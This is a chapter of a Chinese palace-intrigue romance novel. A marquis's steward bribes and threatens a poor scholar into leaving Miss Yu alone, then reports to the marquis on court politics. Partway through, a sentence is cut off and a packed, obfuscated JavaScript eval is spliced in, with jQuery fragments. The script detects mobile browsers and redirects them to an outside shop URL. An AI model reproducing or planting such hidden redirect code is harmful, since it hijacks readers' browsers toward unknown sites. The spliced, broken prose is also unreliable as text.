春分过后不久，便是三年一开的春闱。


    负责主持会试的礼部忙得脚不沾地，即使有历代传下来的章程，但科举这等关乎国本的大事，再小心都是不为过的，从开考前到最后放榜，每一环都要提着脑袋推进。


    即使如此，也有数不清的意外在前面等着。


    会试共三场，经义、论、策，所有士子入贡院九日，期间一步都不得离开，所有行动都在监视之下。


    进去前要经过重重盘查，然而自大昀立国以来，没有任何一届科考是完全无人行作弊之举的。


    想方设法替考的、藏纸藏卷的、把书文在亵裤内侧绣得密密麻麻的……无所不用其极，立志在钻研歪门邪道上往登峰造极的境界奋勇前进。


    贡院中还食住艰苦，每回都有病倒场上的赴考之人，有的甚至命丧考场。


    诸如此类的突发状况层出不穷，且动辄牵连甚广，是而除了礼部外，整个京城都蒙上一股紧张压抑的宁静。


    …


    程有立起了个大早，出了客栈，直奔城东。


    城东有京城里最大的几间书斋，他来京之后，笔墨纸砚提早准备了，但这些日子损耗了不少，剩下的估算着也就是刚好够。


    思来想去，还是要多买些备用的。


    袋里的银钱所剩不多了，挑不起上乘的，只要过得去便好。


    货比多家，等从书斋里头出来，快到午时了，又紧着往回赶。


    客栈里头住着，店家每日供有一餐饭食，虽然颇为简陋，没有油水，就是胡饼配白菜酱豆，还有一大碗素汤，但饼的分量重，勉强能吃个六分饱。


    住店价钱不高，他也没什么好挑的，放餐的时辰过了不候，他必须在未时前回去。


    京都的春季，地上还有些湿滑，他转道进小巷里，走得急，差点绊了一跤。


    身形稳住了，但怀里的东西掉了一地，地上还有好几滩湿水。


    程有立手忙脚乱去捡，他摔一跤倒是不打紧，就怕刚买的东西给碰坏了。


    蹲在地上边捡边仔细查看，忽地，视野里多了一双黑色皂靴。


    一惊，抬头看去。


    男子的脸庞逆着日光，眼神凌厉，此刻正盯着他。


    竟不是生面孔。


    ——是他在侯府花林里见到的那个护卫。


    “程举人。”福明伸出手。


    程有立惊讶过后，抿唇犹豫片刻，最终抱着东西，自个儿站了起来。


    福明并不尴尬，收回手。


    “这位……不知您怎么称呼?是有事来找我？”程有立有些警惕。


    他可不觉得现在的情况是什么巧合。


    上回，就是这个人打断了他和玉小姐的交谈。


    看玉小姐的神色，她似乎不大喜欢这个护卫，像是顾忌着什么，眼前的这个人地位绝对不低，应该是那几位侯府正头主子身边伺候的。


    既然玉小姐熟识，那估计就是侯府大郎君或大夫人的心腹人了。


    来寻他，是侯府的吩咐？


    福明面无表情：“程举人无需知道我名姓，只需知道我是奉侯府的命令而来。”


    果不其然。


    他说完，手中一个包袱递向前。


    程有立看着他手上的包袱，紧张疑惑更甚：“你……这是何意？”


    福明语速极快，简单明了：“程举人，收了东西，往后，便不必再与侯府往来了。”


    程有立猛地睁大眼睛，嘴唇颤抖几下，忍不住失声：


    “可玉小姐和我——”


    “程举人慎言。”福明目光一寒，立时打断他，


    “我们姑娘身子不好，府里爱重，还想再留姑娘多些时日，便不耽误举人了。”


    话中之意已经不能更明白了。


    举子手里还拎着刚捡起来的笔墨物什，整个人的脸都白了。


    “……这是，玉小姐的意思……？”好半晌，程有立艰难吐出几个字。


    “府里主子的意思，自然便是姑娘的意思。”福明冷冷道，“程举人往后当谨言慎行，有些事，有的人，该忘的，最好一丁点都别剩脑袋里。”


    “这是侯府的赠礼，举人辛苦来一回，也是场缘分，缘分尽了那便好聚好散，若是非要多舌横生事端——”


    “难免会误了大好前程。”


    说罢，把那包袱往面前呆愣的人怀里一塞，转身，脚步极快，眨眼间就消失在巷尾。


    程有立站在原地，像大冬天被从头到脚狠狠泼了一盆冰水。


    怀里的包裹有些散开，露出里面毫无装饰的木匣子。


    他的手抖着，微微一开匣盖，看得见银票边缘的骑缝章印。


    -


    雪蹄青骢刹在角门外，驾马之人翻身下来，马夫小跑上前，把它牵往马房。


    快步回到主院大门，守院门的连忙迎上来：“福总管！”


    福明没耽搁，径直往里走：“侯爷呢？”


    门房跟着他：“侯爷下朝回来了，此刻正在书房，忠伯已经过去了。”


    福明点头示意明白，抬手摆了两下，门房立刻停下，转身退回原位。


    刚走到书房回廊，一转弯，和往外走的忠伯迎面撞上。


    “这是去哪？”福明惊了一下。


    忠伯泄出口气，张了张口，最后只说：“……侯爷还等着，你快去吧。”


    说完，皱着脸绕过他。


    福明眼神跟着忠伯颇有些颓丧的背影，直到消失。


    回过头，撇了撇嘴。


    不说他也知道，多半就是被使唤去请玉姑娘了呗。


    那敢情好，总不能每回都是他去挨姑娘身边那位嬷嬷的眼刀子吧。


    大步朝前，书房的门开着。


    福明不敢延误，快步走进，阖上门，而后垂首向书案后还未褪去官服的人禀报：


    “侯爷，已经办妥了。”


    谢砚深手中执卷，翻阅：“派人盯着。”


    程有立家中贫寒，虽中了举，但十几年来利滚利欠的债、抵出去还没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991755|137099||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    赎回的祖屋田地、兄长的药钱，都压在他身上。


    收了侯府的银钱闭上嘴，花林里的事就随风而散，彼此都好，如无必要，侯府不会对个普通举子出手。


    若是真不识相，自然有更稳妥的法子处置了他。


    “……是。”福明神色带上些犹豫，僵硬应了一声。


    谢砚深抬眼：“怎么?”


    福明一激灵，欲言又止。


    然而正座上投下来的视线越来越锋利，他十秒都没顶过去。


    最后讪笑着：“侯爷，不是奴才不敬，只是……您明知道那姓程的估摸就是玉姑娘故意用来气您的靶子，您何必在意，应当让玉姑娘自己去料理了那厢，否则岂不是太……”


    太过娇纵了，没得跌了份儿。最后几个字吞到肚子里没说。


    男人手中书卷放下，眼神冰冷。


    福明冷汗一瞬间就下来了，恨不得返回去，抽几秒前的自己几个嘴巴子。


    “侯，侯爷……奴才胡说的……”低着头，声音越来越心虚。


    死寂半晌，上座才传来声音——


    “她只是有些小性子。”


    福明兀地一惊，刚想抬头，上头的人又发话了。


    “云山观的事安排得如何了。”谢砚深沉声问。


    福明回神，连忙答：“监院清晖道人静修，知会了两位都管，都安排好了。”


    “玉家老爷与夫人的灵位也从偏殿移到了太乙殿。”


    初春，玉怜脂父母的忌日要到了。


    今时今日，他应该同她一起去祭拜。


    福明：“侯爷，要不要多带些人?”


    “宫里头贵妃有孕，睿王复宠，加上两江那边，护国公府和承王怕是彻底坐不住了。”


    春分后过了六日，宫里传出了贵妃怀上身孕的消息，朝内朝外霎时惊变。


    秦贵妃的年岁不轻了，多年来深得平武帝宠爱，除了睿王，还育有两位公主。


    虽然再有孕并不是登天般困难，但偏偏正好在这个时候有了，简直是旱逢甘霖一样的奇迹。


    后宫许久没有新的皇子公主降生，这一胎，真就能硬生生把已经偏移的圣心又拉回来。


    两江的事越挖越深，加上睿王一党有死灰复燃之势，承王如今怕是急得像热锅上的蚂蚁了。


    困兽犹斗，狗急了尚且跳墙，更何况是人。


    谢砚深敛眸：“加一倍，分散一部分，沿途隐匿，提前排查。”


    福明：“奴才明白，那……”


    “侯爷。”屋外，忠伯敲响门。


    立刻停住嘴。


    谢砚深站起身，摆摆手。


    福明心领神会，回身将门打开。


    玉怜脂踏进门，扫了门边脸色有些不自然的人一眼，有些疑惑。


    后者暗暗咽了咽口水，等她进了门，立马闪身出去，把门关上。


    “……怎么不换衣裳?”女娘轻柔的声音隐隐从门缝透出来。


    “……刚回来，不急……”